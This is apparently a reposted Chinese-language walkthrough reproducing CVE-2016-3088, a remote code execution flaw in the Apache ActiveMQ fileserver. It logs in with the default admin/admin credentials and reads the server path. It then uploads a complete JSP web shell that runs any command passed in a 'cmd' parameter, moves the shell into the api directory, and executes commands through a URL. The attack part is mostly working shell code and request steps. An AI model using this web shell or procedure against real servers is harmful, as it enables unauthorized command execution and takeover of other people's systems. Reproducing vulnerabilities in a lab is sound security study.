Apache ActiveMQ 遠程代碼執行漏洞 (CVE-2016-3088) 復現


漏洞復現

直接寫 shell

寫 shell 的話,需要寫在 admin 或者 api 中,也就是需要登錄,沒有密碼的話完成不了寫 shell 操作。

該環境默認的口令為 admin/admin。

訪問 http://ip:8161/admin/test/systemProperties.jsp

獲得當前系統的路徑

 

 

 

上傳 jsp 小馬,返回204,但是在 fileserver 路徑下不解析

小馬
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

 

 

 

 

 

然后移動到 api 目錄下,成功的話,返回 204 No Content

 

 

 

 

 

執行命令

http://192.168.73.151:8161/api/9.jsp?cmd=ls

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM